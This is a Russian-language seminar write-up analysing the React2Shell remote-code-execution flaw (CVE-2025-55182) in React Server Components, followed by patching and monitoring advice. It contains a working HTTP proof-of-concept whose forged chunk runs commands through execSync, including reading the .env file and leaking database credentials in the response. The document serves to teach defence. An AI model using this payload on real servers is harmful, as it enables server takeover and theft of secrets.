
[Наш FISA] Победитель технического семинара - Облачная разработка сервисов 6-й набор, команда 3 - Анализ и исследование React2Shell (CVE-2025-55182)
Семинар FISA 6-го набора — команда 3. Анализ и исследование уязвимости удаленного выполнения кода (RCE) React2Shell, использующей недостатки проектирования React Server Component (RSC).

| Участник | Роль | GitHub |
|---|---|---|
| Нам Инсо | Исследование материалов, создание презентации, доклад | @sene03 |
| Ю Сынджун | Исследование материалов, создание презентации, доклад | @fluanceifi |
| Ли Сухён | Исследование материалов, создание презентации | @hyun793 |
| Ким Юджон | Исследование материалов, создание презентации | @yujung23 |
React2Shell(CVE-2025-55182) — это критическая уязвимость безопасности, обнаруженная в процессе взаимодействия Flight Protocol, используемого React Server Component (RSC).
React использует Flight Protocol, который, помимо строк и массивов, поддерживает сложные типы, такие как Promise, Blob, Map, для обработки компонентов.
| Выражение | Тип | Описание |
|---|---|---|
$$ | Экранированный $ | Литеральная строка, начинающаяся с $ |
$@ | Promise/Chunk | Ссылка на ID чанка |
Злоумышленник использует уязвимость в обработке потоков протокола, чтобы внедрить вредоносный скрипт и получить контроль над сервером.
Злоумышленник отправляет на сервер запрос с заголовками Next-Action и multipart/form-data, передавая JSON-данные. В тело запроса он включает поддельный чанк (Fake Chunk), маскирующийся под объект Promise.
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// 공격자가 전송한 가짜 청크 예시
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
then поддельного чанка, отправленного злоумышленником, присваивается Chunk.prototype.then._prefix передается в качестве аргумента Function.thenable Promise, произвольный код, внедренный злоумышленником, выполняется на сервере.// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 여기서 hasOwnProperty check가 누락됨!
}
$1:path:to:value разделяет строку по двоеточию (:) и обходит внутренние объекты.$1:__proto__:then он получает доступ к прототипу чанка и его свойству then (Chunk.prototype.then).then, что приводит к выполнению кода, задуманного злоумышленником.Эта уязвимость вызвала большой резонанс во всей современной веб-экосистеме.
Инцидент с React2Shell дал урок: «Фронтенд-разработчики тоже должны понимать серверную безопасность».
Обновите пакеты, такие как react-server-dom-webpack, до последних версий (например, 19.0.1+).
Фреймворки, встроившие RSC, такие как Next.js, не исправляются простым обновлением React — необходимо проверить заметки о безопасности самого фреймворка и обновиться до последней версии.
Используйте системы мониторинга, такие как Grafana, и подключите оповещения (по электронной почте, через Slack и т.п.) для возможности немедленного реагирования.
С расширением границ фронтенда благодаря развитию технологий необходимо осознавать, что расширяется и область ответственности за безопасность.
React2Shell: Полное руководство по анализу уязвимости CVE-2025-55182
Анализ уязвимости серверных компонентов React и путей проникновения в систему